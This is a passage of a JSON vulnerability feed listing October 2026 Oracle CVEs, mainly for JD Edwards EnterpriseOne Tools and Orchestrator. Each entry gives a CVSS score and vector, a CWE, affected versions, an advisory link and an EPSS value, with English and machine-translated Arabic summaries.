(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-identity-manager"},{"id":"CVE-2026-91315","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:33Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation Security)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation Security). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم دون مصادقة ولديه إمكانية تسجيل الدخول إلى البنية التحتية حيث يتم تنفيذ JD Edwards EnterpriseOne Tools اختراق النظام. تتطلب الهجمات الناجحة تفاعلاً بشريًا من شخص آخر غير المهاجم. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى الاستحواذ على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.8 (تأثيرات على سرية البيانات، وسلامتها، وتوفرها). متجه CVSS: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91313","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:33Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.4",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.4. تتيح ثغرة يصعب استغلالها لمهاجم دون مصادقة لديه وصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.1 (تأثيرات السرية والنزاهة والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91314","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:33Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه تسجيل دخول إلى البنية الأساسية حيث يتم تنفيذ JD Edwards EnterpriseOne Tools اختراق JD Edwards EnterpriseOne Tools. تتطلب الهجمات الناجحة تفاعلًا بشريًا من شخص آخر غير المهاجم. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.8 (تأثيرات السرية والنزاهة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91303","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه وصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. تتطلب الهجمات الناجحة تفاعلًا بشريًا من شخص آخر غير المهاجم. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.8 (تأثيرات السرية والنزاهة والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91304","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه تسجيل دخول إلى البنية الأساسية حيث يتم تنفيذ JD Edwards EnterpriseOne Tools اختراق JD Edwards EnterpriseOne Tools. تتطلب الهجمات الناجحة تفاعلًا بشريًا من شخص آخر غير المهاجم. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.8 (تأثيرات السرية والنزاهة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91305","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه وصول إلى الشبكة عبر HTTPS اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى إنشاء أو حذف أو تعديل غير مصرح به للبيانات الحرجة أو جميع البيانات التي يمكن الوصول إليها عبر JD Edwards EnterpriseOne Tools، بالإضافة إلى الوصول غير المصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات القابلة للوصول في JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 9.1 (تأثيرات السرية والنزاهة). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91306","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم يملك صلاحيات منخفضة ولديه تسجيل دخول إلى البنية الأساسية حيث يتم تنفيذ JD Edwards EnterpriseOne Tools اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى السيطرة على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.8 (تأثيرات السرية والنزاهة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91307","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه وصول إلى الشبكة عبر Oracle Net اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الوصول غير المصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات التي يمكن الوصول إليها عبر JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.5 (تأثيرات السرية). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91308","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","ar":"توجد ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: أمان التثبيت). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه وصول إلى الشبكة عبر Oracle Net اختراق JD Edwards EnterpriseOne Tools. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الوصول غير المصرح به إلى البيانات الحرجة أو الوصول الكامل إلى جميع البيانات التي يمكن الوصول إليها عبر JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.5 (تأثيرات السرية). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91310","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر JDENET اختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.8 (تأثيرات على السرية والسلامة والتوفر). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91311","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:32Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation Security)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Installation Security). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة سهلة الاستغلال لمهاجم يملك صلاحيات منخفضة مع تسجيل الدخول إلى البنية التحتية التي يتم فيها تنفيذ JD Edwards EnterpriseOne Tools اختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 7.8 (تأثيرات على السرية والسلامة والتوفر). متجه CVSS: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91295","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:31Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم ذي صلاحيات منخفضة ولديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.8 (مع تأثيرات على السرية والسلامة والتوفر). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91296","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-601","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:31Z","product":"Oracle Jd Edwards Enterpriseone Tools","affected":[["9.2.0.0 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC)."},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج JD Edwards EnterpriseOne Tools من Oracle JD Edwards (المكون: Enterprise Infrastructure SEC). الإصدارات المدعومة المتأثرة هي 9.2.0.0-9.2.26.5. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم دون مصادقة ولديه إمكانية الوصول إلى الشبكة عبر HTTP اختراق JD Edwards EnterpriseOne Tools. تتطلب الهجمات الناجحة تفاعلاً بشريًا من شخص آخر غير المهاجم. يمكن أن تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على JD Edwards EnterpriseOne Tools. درجة أساس CVSS 3.1 هي 8.8 (مع تأثيرات على السرية والسلامة والتوفر). متجه CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-jd-edwards-enterpriseone-tools"},{"id":"CVE-2026-91299","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:31Z","product":"Oracle Jd Edwards Enterpriseone Orchestrator","affected":[["9.2.0.0 – 9.2.26.5",null],["9.2 – 9.2.26.5",null]],"title":{"en":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security).","ar":"ثغرة حرجة في Oracle Jd Edwards Enterpriseone Orchestrator"},"summary":{"en":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Orchestrator. While the vulnerability is in JD Edwards EnterpriseOne Orchestrator, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Orchestrator. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).","ar":"Vulnerability in the JD Edwards EnterpriseOne Orchestrator product of Oracle JD Edwards (component: E1 IOT Orchestrator Security). Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network 